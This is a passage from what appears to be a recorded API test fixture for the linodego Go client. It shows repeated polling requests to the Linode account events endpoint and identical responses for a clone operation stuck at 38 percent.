"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 30.634081, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 30.700663, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 30.778156, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 30.84618, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 30.910435, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 30.971103, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 31.032776, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 31.200665, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 31.27507, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 31.346905, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 31.411434, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 31.708175, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 31.78974, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 31.867864, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 31.933314, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.014501, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.080829, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 